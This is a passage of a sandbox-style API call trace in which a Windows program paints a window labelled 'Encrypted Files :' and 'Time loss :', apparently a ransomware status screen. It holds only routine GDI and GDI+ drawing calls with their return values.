[0286.086] GdipGetClip (graphics=0x1c5a7fc0, region=0x1c5a8390) returned 0x0
[0286.086] GdipIsInfiniteRegion (region=0x1c5a8390, graphics=0x1c5a7fc0, result=0x2ebea0) returned 0x0
[0286.086] GdipDeleteRegion (region=0x1c5a8390) returned 0x0
[0286.086] GdipSaveGraphics (graphics=0x1c5a7fc0, state=0x2ebf40) returned 0x0
[0286.086] IsAppThemed () returned 0x1
[0286.086] GetThemeAppProperties () returned 0x3
[0286.087] GetThemeAppProperties () returned 0x3
[0286.087] IsAppThemed () returned 0x1
[0286.087] GetThemeAppProperties () returned 0x3
[0286.087] GetThemeAppProperties () returned 0x3
[0286.087] IsThemePartDefined () returned 0x1
[0286.087] GdipGetTextRenderingHint (graphics=0x1c5a7fc0, mode=0x2ebd38) returned 0x0
[0286.087] GdipCreateRegion (region=0x2ebbb0) returned 0x0
[0286.088] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7bfa0) returned 0x0
[0286.088] GdipCreateMatrix (matrix=0x2ebbb0) returned 0x0
[0286.088] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af550) returned 0x0
[0286.088] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebc18) returned 0x0
[0286.088] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.088] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.089] LocalFree (hMem=0x1de51510) returned 0x0
[0286.089] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.089] GdipIsInfiniteRegion (region=0x1cb7bfa0, graphics=0x1c5a7fc0, result=0x2ebc80) returned 0x0
[0286.089] GdipDeleteRegion (region=0x1cb7bfa0) returned 0x0
[0286.089] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc88) returned 0x0
[0286.089] GetCurrentObject (hdc=0x1010a48, type=0x1) returned 0x1b00017
[0286.089] GetCurrentObject (hdc=0x1010a48, type=0x2) returned 0x1900010
[0286.089] GetCurrentObject (hdc=0x1010a48, type=0x7) returned 0x1050032
[0286.089] GetCurrentObject (hdc=0x1010a48, type=0x6) returned 0x18a002e
[0286.089] SaveDC (hdc=0x1010a48) returned 1
[0286.089] OffsetViewportOrgEx (in: hdc=0x1010a48, x=0, y=0, lppt=0x2748998 | out: lppt=0x2748998) returned 1
[0286.090] GetCurrentObject (hdc=0x1010a48, type=0x6) returned 0x18a002e
[0286.090] GetObjectW (in: h=0x18a002e, c=92, pv=0x2eba80 | out: pv=0x2eba80) returned 92
[0286.091] SelectObject (hdc=0x1010a48, h=0x50a0b98) returned 0x18a002e
[0286.091] DrawTextExW (in: hdc=0x1010a48, lpchText="Encrypted Files :", cchText=17, lprc=0x2ebd38, format=0x2410, lpdtp=0x27489b0 | out: lpchText="Encrypted Files :", lprc=0x2ebd38) returned 14
[0286.091] RestoreDC (hdc=0x1010a48, nSavedDC=-1) returned 1
[0286.091] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x1010a48) returned 0x0
[0286.091] GdipGetTextRenderingHint (graphics=0x1c5a7fc0, mode=0x2ebd08) returned 0x0
[0286.091] GdipCreateRegion (region=0x2ebb80) returned 0x0
[0286.091] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7bfa0) returned 0x0
[0286.091] GdipCreateMatrix (matrix=0x2ebb80) returned 0x0
[0286.091] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af510) returned 0x0
[0286.092] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ebbe8) returned 0x0
[0286.092] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.092] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.092] LocalFree (hMem=0x1de51510) returned 0x0
[0286.092] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.092] GdipIsInfiniteRegion (region=0x1cb7bfa0, graphics=0x1c5a7fc0, result=0x2ebc50) returned 0x0
[0286.092] GdipDeleteRegion (region=0x1cb7bfa0) returned 0x0
[0286.092] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc58) returned 0x0
[0286.092] GetCurrentObject (hdc=0x1010a48, type=0x1) returned 0x1b00017
[0286.092] GetCurrentObject (hdc=0x1010a48, type=0x2) returned 0x1900010
[0286.092] GetCurrentObject (hdc=0x1010a48, type=0x7) returned 0x1050032
[0286.092] GetCurrentObject (hdc=0x1010a48, type=0x6) returned 0x18a002e
[0286.092] SaveDC (hdc=0x1010a48) returned 1
[0286.092] OffsetViewportOrgEx (in: hdc=0x1010a48, x=0, y=0, lppt=0x2748db0 | out: lppt=0x2748db0) returned 1
[0286.092] GetTextAlign (hdc=0x1010a48) returned 0x0
[0286.093] GetTextColor (hdc=0x1010a48) returned 0x0
[0286.093] SetTextColor (hdc=0x1010a48, color=0xffff) returned 0x0
[0286.093] GetCurrentObject (hdc=0x1010a48, type=0x6) returned 0x18a002e
[0286.093] GetObjectW (in: h=0x18a002e, c=92, pv=0x2eb820 | out: pv=0x2eb820) returned 92
[0286.093] SelectObject (hdc=0x1010a48, h=0x50a0b98) returned 0x18a002e
[0286.093] GetBkMode (hdc=0x1010a48) returned 2
[0286.093] SetBkMode (hdc=0x1010a48, mode=1) returned 2
[0286.093] DrawTextExW (in: hdc=0x1010a48, lpchText="Encrypted Files :", cchText=17, lprc=0x2ebc78, format=0x2010, lpdtp=0x2748fb0 | out: lpchText="Encrypted Files :", lprc=0x2ebc78) returned 14
[0286.094] RestoreDC (hdc=0x1010a48, nSavedDC=-1) returned 1
[0286.096] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x1010a48) returned 0x0
[0286.096] GetDC (hWnd=0x0) returned 0x2010a5c
[0286.096] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2ebd28) returned 0x0
[0286.096] GdipGetFontHeight (font=0x1c5af4d0, graphics=0x1cb7bfa0, height=0x2ebd24) returned 0x0
[0286.096] GdipDeleteGraphics (graphics=0x1cb7bfa0) returned 0x0
[0286.097] ReleaseDC (hWnd=0x0, hDC=0x2010a5c) returned 1
[0286.097] GetDC (hWnd=0x0) returned 0x2010a5c
[0286.097] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2ebd28) returned 0x0
[0286.097] GdipGetFontHeight (font=0x1c5af4d0, graphics=0x1cb7bfa0, height=0x2ebd24) returned 0x0
[0286.097] GdipDeleteGraphics (graphics=0x1cb7bfa0) returned 0x0
[0286.097] ReleaseDC (hWnd=0x0, hDC=0x2010a5c) returned 1
[0286.097] GdipCreateRegion (region=0x2ebb70) returned 0x0
[0286.097] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7bfa0) returned 0x0
[0286.097] GdipCreateMatrix (matrix=0x2ebb70) returned 0x0
[0286.097] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af550) returned 0x0
[0286.097] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebbd8) returned 0x0
[0286.097] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.097] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.098] LocalFree (hMem=0x1de51510) returned 0x0
[0286.098] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.098] GdipIsInfiniteRegion (region=0x1cb7bfa0, graphics=0x1c5a7fc0, result=0x2ebc40) returned 0x0
[0286.098] GdipDeleteRegion (region=0x1cb7bfa0) returned 0x0
[0286.098] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc48) returned 0x0
[0286.098] GetCurrentObject (hdc=0x1010a48, type=0x1) returned 0x1b00017
[0286.098] GetCurrentObject (hdc=0x1010a48, type=0x2) returned 0x1900010
[0286.098] GetCurrentObject (hdc=0x1010a48, type=0x7) returned 0x1050032
[0286.098] GetCurrentObject (hdc=0x1010a48, type=0x6) returned 0x18a002e
[0286.098] SaveDC (hdc=0x1010a48) returned 1
[0286.098] OffsetViewportOrgEx (in: hdc=0x1010a48, x=0, y=0, lppt=0x2749398 | out: lppt=0x2749398) returned 1
[0286.098] IsAppThemed () returned 0x1
[0286.098] GetThemeAppProperties () returned 0x3
[0286.098] GetThemeAppProperties () returned 0x3
[0286.099] DrawThemeBackground () returned 0x0
[0286.099] RestoreDC (hdc=0x1010a48, nSavedDC=-1) returned 1
[0286.099] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x1010a48) returned 0x0
[0286.099] GdipCreateRegion (region=0x2ebb70) returned 0x0
[0286.099] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7bfa0) returned 0x0
[0286.099] GdipCreateMatrix (matrix=0x2ebb70) returned 0x0
[0286.099] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af510) returned 0x0
[0286.099] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ebbd8) returned 0x0
[0286.099] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.099] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.100] LocalFree (hMem=0x1de51510) returned 0x0
[0286.100] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.100] GdipIsInfiniteRegion (region=0x1cb7bfa0, graphics=0x1c5a7fc0, result=0x2ebc40) returned 0x0
[0286.100] GdipDeleteRegion (region=0x1cb7bfa0) returned 0x0
[0286.100] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc48) returned 0x0
[0286.100] GetCurrentObject (hdc=0x1010a48, type=0x1) returned 0x1b00017
[0286.100] GetCurrentObject (hdc=0x1010a48, type=0x2) returned 0x1900010
[0286.100] GetCurrentObject (hdc=0x1010a48, type=0x7) returned 0x1050032
[0286.100] GetCurrentObject (hdc=0x1010a48, type=0x6) returned 0x18a002e
[0286.100] SaveDC (hdc=0x1010a48) returned 1
[0286.100] OffsetViewportOrgEx (in: hdc=0x1010a48, x=0, y=0, lppt=0x27497f0 | out: lppt=0x27497f0) returned 1
[0286.100] IsAppThemed () returned 0x1
[0286.100] GetThemeAppProperties () returned 0x3
[0286.100] GetThemeAppProperties () returned 0x3
[0286.100] DrawThemeBackground () returned 0x0
[0286.100] RestoreDC (hdc=0x1010a48, nSavedDC=-1) returned 1
[0286.101] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x1010a48) returned 0x0
[0286.101] GdipCreateRegion (region=0x2ebb70) returned 0x0
[0286.101] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7bfa0) returned 0x0
[0286.101] GdipCreateMatrix (matrix=0x2ebb70) returned 0x0
[0286.101] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af550) returned 0x0
[0286.101] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebbd8) returned 0x0
[0286.101] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.101] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.101] LocalFree (hMem=0x1de51510) returned 0x0
[0286.101] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.101] GdipIsInfiniteRegion (region=0x1cb7bfa0, graphics=0x1c5a7fc0, result=0x2ebc40) returned 0x0
[0286.101] GdipDeleteRegion (region=0x1cb7bfa0) returned 0x0
[0286.101] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc48) returned 0x0
[0286.102] GetCurrentObject (hdc=0x1010a48, type=0x1) returned 0x1b00017
[0286.102] GetCurrentObject (hdc=0x1010a48, type=0x2) returned 0x1900010
[0286.102] GetCurrentObject (hdc=0x1010a48, type=0x7) returned 0x1050032
[0286.102] GetCurrentObject (hdc=0x1010a48, type=0x6) returned 0x18a002e
[0286.102] SaveDC (hdc=0x1010a48) returned 1
[0286.102] OffsetViewportOrgEx (in: hdc=0x1010a48, x=0, y=0, lppt=0x2749c48 | out: lppt=0x2749c48) returned 1
[0286.102] IsAppThemed () returned 0x1
[0286.102] GetThemeAppProperties () returned 0x3
[0286.102] GetThemeAppProperties () returned 0x3
[0286.102] DrawThemeBackground () returned 0x0
[0286.102] RestoreDC (hdc=0x1010a48, nSavedDC=-1) returned 1
[0286.102] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x1010a48) returned 0x0
[0286.102] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0286.102] SelectPalette (hdc=0x1010a48, hPal=0x3080b87, bForceBkgd=0) returned 0x3080b87
[0286.102] SelectPalette (hdc=0x1010a48, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0286.103] EndPaint (hWnd=0x30272, lpPaint=0x2ebfb8) returned 1
[0286.103] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x20276, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0
[0286.103] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x20276, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0286.103] GetClientRect (in: hWnd=0x20276, lpRect=0x2ebaf0 | out: lpRect=0x2ebaf0) returned 1
[0286.103] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2eba38) returned 0x0
[0286.103] GdipCreateSolidFill (color=0xffffffffff800000, brush=0x2eba20) returned 0x0
[0286.103] GdipFillRectangleI (graphics=0x1c5a7fc0, brush=0x1c5a8390, x=0, y=0, width=166, height=103) returned 0x0
[0286.104] GdipDeleteBrush (brush=0x1c5a8390) returned 0x0
[0286.104] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0286.104] SetTextColor (hdc=0x1010a48, color=0xffffff) returned 0x0
[0286.104] SetBkColor (hdc=0x1010a48, color=0x80) returned 0xffffff
[0286.104] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x20276, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0
[0286.104] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x20276, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0
[0286.104] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x20276, Msg=0xd, wParam=0x1, lParam=0x1ac60760) returned 0x0
[0286.105] BeginPaint (in: hWnd=0x202a6, lpPaint=0x2ec048 | out: lpPaint=0x2ec048) returned 0x2010b40
[0286.105] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x202a6, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0286.105] SelectPalette (hdc=0x2010b40, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0286.108] CreateCompatibleDC (hdc=0x2010b40) returned 0x330107d6
[0286.109] GetObjectType (h=0x2010b40) returned 0x3
[0286.109] CreateCompatibleBitmap (hdc=0x2010b40, cx=1, cy=1) returned 0x140507bf
[0286.111] GetDIBits (in: hdc=0x2010b40, hbm=0x140507bf, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0x2eb9d8, usage=0x0 | out: lpvBits=0x0, lpbmi=0x2eb9d8) returned 1
[0286.111] GetDIBits (in: hdc=0x2010b40, hbm=0x140507bf, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x2eb9d8, usage=0x0 | out: lpvBits=0x0, lpbmi=0x2eb9d8) returned 1
[0286.112] DeleteObject (ho=0x140507bf) returned 1
[0286.113] CreateDIBSection (in: hdc=0x2010b40, lpbmi=0x2eba88, usage=0x0, ppvBits=0x2ec048, hSection=0x0, offset=0x0 | out: ppvBits=0x2ec048) returned 0xb0507c1
[0286.114] SelectObject (hdc=0x330107d6, h=0xb0507c1) returned 0x185000f
[0286.114] GdipCreateFromHDC (hdc=0x330107d6, graphics=0x2ebfc8) returned 0x0
[0286.116] GdipTranslateWorldTransform (graphics=0x1c5a8050, dx=0x7fef04ddf12, dy=0x4af70916f6e6, order=0x0) returned 0x0
[0286.118] GdipSetClipRectI (graphics=0x1c5a8050, x=0, y=0, width=154, height=78, combineMode=0x0) returned 0x0
[0286.118] GdipCreateMatrix (matrix=0x2ebff0) returned 0x0
[0286.118] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.118] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ec058) returned 0x0
[0286.118] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.118] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.119] LocalFree (hMem=0x1de51510) returned 0x0
[0286.119] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.119] GdipCreateRegion (region=0x2ebff0) returned 0x0
[0286.119] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.119] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ec050) returned 0x0
[0286.119] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ec0f0) returned 0x0
[0286.119] GetWindowTextLengthW (hWnd=0x202a6) returned 0
[0286.119] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x202a6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0
[0286.119] GetSystemMetrics (nIndex=42) returned 0
[0286.119] GetWindowTextW (in: hWnd=0x202a6, lpString=0x2ebef0, nMaxCount=1 | out: lpString="") returned 0
[0286.119] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x202a6, Msg=0xd, wParam=0x1, lParam=0x2ebef0) returned 0x0
[0286.120] GetClientRect (in: hWnd=0x202a6, lpRect=0x2ec098 | out: lpRect=0x2ec098) returned 1
[0286.120] GdipCreateRegion (region=0x2ebc80) returned 0x0
[0286.120] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a84e0) returned 0x0
[0286.120] GdipCreateMatrix (matrix=0x2ebc80) returned 0x0
[0286.120] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.120] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebce8) returned 0x0
[0286.120] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.120] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.120] LocalFree (hMem=0x1de51510) returned 0x0
[0286.124] GdipCombineRegionRegion (region=0x1c5a84e0, region2=0x1c5a8420, combineMode=0x1) returned 0x0
[0286.124] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.124] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.124] LocalFree (hMem=0x1de51510) returned 0x0
[0286.124] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.124] GdipIsInfiniteRegion (region=0x1c5a84e0, graphics=0x1c5a8050, result=0x2ebd50) returned 0x0
[0286.124] GdipIsInfiniteRegion (region=0x1c5a84e0, graphics=0x1c5a8050, result=0x2ebd10) returned 0x0
[0286.126] GdipGetRegionHRgn (region=0x1c5a84e0, graphics=0x1c5a8050, hRgn=0x2ebd10) returned 0x0
[0286.127] GdipDeleteRegion (region=0x1c5a84e0) returned 0x0
[0286.127] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebd58) returned 0x0
[0286.127] GetCurrentObject (hdc=0x330107d6, type=0x1) returned 0x1b00017
[0286.127] GetCurrentObject (hdc=0x330107d6, type=0x2) returned 0x1900010
[0286.127] GetCurrentObject (hdc=0x330107d6, type=0x7) returned 0xb0507c1
[0286.127] GetCurrentObject (hdc=0x330107d6, type=0x6) returned 0x18a002e
[0286.127] SaveDC (hdc=0x330107d6) returned 1
[0286.132] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x21040b99
[0286.132] GetClipRgn (hdc=0x330107d6, hrgn=0x21040b99) returned 0
[0286.133] SelectClipRgn (hdc=0x330107d6, hrgn=0x42040b86) returned 2
[0286.133] DeleteObject (ho=0x21040b99) returned 1
[0286.133] DeleteObject (ho=0x42040b86) returned 1
[0286.134] OffsetViewportOrgEx (in: hdc=0x330107d6, x=0, y=0, lppt=0x274b6a0 | out: lppt=0x274b6a0) returned 1
[0286.134] GetNearestColor (hdc=0x330107d6, color=0x80) returned 0x80
[0286.134] CreateSolidBrush (color=0x80) returned 0xb1007d3
[0286.134] FillRect (hDC=0x330107d6, lprc=0x2ebd88, hbr=0xb1007d3) returned 1
[0286.134] DeleteObject (ho=0xb1007d3) returned 1
[0286.134] RestoreDC (hdc=0x330107d6, nSavedDC=-1) returned 1
[0286.134] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x330107d6) returned 0x0
[0286.136] GdipRestoreGraphics (graphics=0x1c5a8050, state=0xfffffffffd220dbd) returned 0x0
[0286.136] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.136] GetWindowTextLengthW (hWnd=0x202a6) returned 0
[0286.136] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x202a6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0
[0286.136] GetSystemMetrics (nIndex=42) returned 0
[0286.136] GetWindowTextW (in: hWnd=0x202a6, lpString=0x2ebef0, nMaxCount=1 | out: lpString="") returned 0
[0286.136] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x202a6, Msg=0xd, wParam=0x1, lParam=0x2ebef0) returned 0x0
[0286.139] GdipDrawImageRectI (graphics=0x1c5a8050, image=0x1c5a7630, x=0, y=0, width=154, height=78) returned 0x0
[0286.152] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ec008) returned 0x0
[0286.155] BitBlt (hdc=0x2010b40, x=0, y=0, cx=154, cy=78, hdcSrc=0x330107d6, x1=0, y1=0, rop=0xcc0020) returned 1
[0286.155] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x330107d6) returned 0x0
[0286.155] SelectPalette (hdc=0x2010b40, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0286.155] SelectObject (hdc=0x330107d6, h=0x185000f) returned 0xb0507c1
[0286.155] DeleteDC (hdc=0x330107d6) returned 1
[0286.156] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0286.156] EndPaint (hWnd=0x202a6, lpPaint=0x2ebfe8) returned 1
[0286.156] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0
[0286.156] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0286.159] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x14, wParam=0x2010b40, lParam=0x0) returned 0x1
[0286.181] SetTextColor (hdc=0x2010b40, color=0x0) returned 0x0
[0286.181] SetBkColor (hdc=0x2010b40, color=0xffffff) returned 0xffffff
[0286.182] SetTextColor (hdc=0x2010b40, color=0x0) returned 0x0
[0286.182] SetBkColor (hdc=0x2010b40, color=0xffffff) returned 0xffffff
[0286.194] BeginPaint (in: hWnd=0x2027a, lpPaint=0x2ec018 | out: lpPaint=0x2ec018) returned 0x2010b40
[0286.194] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0286.194] SelectPalette (hdc=0x2010b40, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0286.194] GetWindowTextLengthW (hWnd=0x2027a) returned 11
[0286.194] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb
[0286.194] GetSystemMetrics (nIndex=42) returned 0
[0286.194] GetWindowTextW (in: hWnd=0x2027a, lpString=0x2ebeb0, nMaxCount=12 | out: lpString="Time loss :") returned 11
[0286.194] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xd, wParam=0xc, lParam=0x2ebeb0) returned 0xb
[0286.195] GetClientRect (in: hWnd=0x2027a, lpRect=0x2ec068 | out: lpRect=0x2ec068) returned 1
[0286.195] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0286.195] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0286.195] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0286.195] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.195] SaveDC (hdc=0x2010b40) returned 1
[0286.195] GetNearestColor (hdc=0x2010b40, color=0x80) returned 0x80
[0286.195] CreateSolidBrush (color=0x80) returned 0x111007d3
[0286.195] FillRect (hDC=0x2010b40, lprc=0x2ebd58, hbr=0x111007d3) returned 1
[0286.195] DeleteObject (ho=0x111007d3) returned 1
[0286.195] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0286.196] GetWindowTextLengthW (hWnd=0x2027a) returned 11
[0286.196] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb
[0286.196] GetSystemMetrics (nIndex=42) returned 0
[0286.196] GetWindowTextW (in: hWnd=0x2027a, lpString=0x2ebeb0, nMaxCount=12 | out: lpString="Time loss :") returned 11
[0286.196] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xd, wParam=0xc, lParam=0x2ebeb0) returned 0xb
[0286.196] IsAppThemed () returned 0x1
[0286.196] GetThemeAppProperties () returned 0x3
[0286.196] GetThemeAppProperties () returned 0x3
[0286.196] SelectPalette (hdc=0x2010b40, hPal=0x3080b87, bForceBkgd=1) returned 0x3080b87
[0286.196] GdipCreateFromHDC (hdc=0x2010b40, graphics=0x2ebf48) returned 0x0
[0286.197] GdipSetPageUnit (graphics=0x1c5a7fc0, unit=0x2) returned 0x0
[0286.197] GdipCreateMatrix (matrix=0x2ebe40) returned 0x0
[0286.197] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af510) returned 0x0
[0286.197] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ebea8) returned 0x0
[0286.197] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.197] GdipCreateRegion (region=0x2ebe40) returned 0x0
[0286.198] GdipGetClip (graphics=0x1c5a7fc0, region=0x1c5a8390) returned 0x0
[0286.198] GdipIsInfiniteRegion (region=0x1c5a8390, graphics=0x1c5a7fc0, result=0x2ebea0) returned 0x0
[0286.198] GdipDeleteRegion (region=0x1c5a8390) returned 0x0
[0286.198] GdipSaveGraphics (graphics=0x1c5a7fc0, state=0x2ebf40) returned 0x0
[0286.198] IsAppThemed () returned 0x1
[0286.198] GetThemeAppProperties () returned 0x3
[0286.198] GetThemeAppProperties () returned 0x3
[0286.198] IsAppThemed () returned 0x1
[0286.198] GetThemeAppProperties () returned 0x3
[0286.198] GetThemeAppProperties () returned 0x3
[0286.198] IsThemePartDefined () returned 0x1
[0286.199] GdipGetTextRenderingHint (graphics=0x1c5a7fc0, mode=0x2ebd38) returned 0x0
[0286.199] GdipCreateRegion (region=0x2ebbb0) returned 0x0
[0286.199] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7d7c0) returned 0x0
[0286.199] GdipCreateMatrix (matrix=0x2ebbb0) returned 0x0
[0286.199] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af550) returned 0x0
[0286.200] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebc18) returned 0x0
[0286.200] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.200] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.200] LocalFree (hMem=0x1de51510) returned 0x0
[0286.200] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.200] GdipIsInfiniteRegion (region=0x1cb7d7c0, graphics=0x1c5a7fc0, result=0x2ebc80) returned 0x0
[0286.201] GdipDeleteRegion (region=0x1cb7d7c0) returned 0x0
[0286.201] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc88) returned 0x0
[0286.201] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0286.201] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0286.201] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0286.202] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.202] SaveDC (hdc=0x2010b40) returned 1
[0286.202] OffsetViewportOrgEx (in: hdc=0x2010b40, x=0, y=0, lppt=0x274c398 | out: lppt=0x274c398) returned 1
[0286.202] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.203] GetObjectW (in: h=0x18a002e, c=92, pv=0x2eba80 | out: pv=0x2eba80) returned 92
[0286.203] SelectObject (hdc=0x2010b40, h=0x50a0b98) returned 0x18a002e
[0286.203] DrawTextExW (in: hdc=0x2010b40, lpchText="Time loss :", cchText=11, lprc=0x2ebd38, format=0x2410, lpdtp=0x274c3b0 | out: lpchText="Time loss :", lprc=0x2ebd38) returned 14
[0286.204] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0286.204] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x2010b40) returned 0x0
[0286.204] GdipGetTextRenderingHint (graphics=0x1c5a7fc0, mode=0x2ebd08) returned 0x0
[0286.204] GdipCreateRegion (region=0x2ebb80) returned 0x0
[0286.204] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7d7c0) returned 0x0
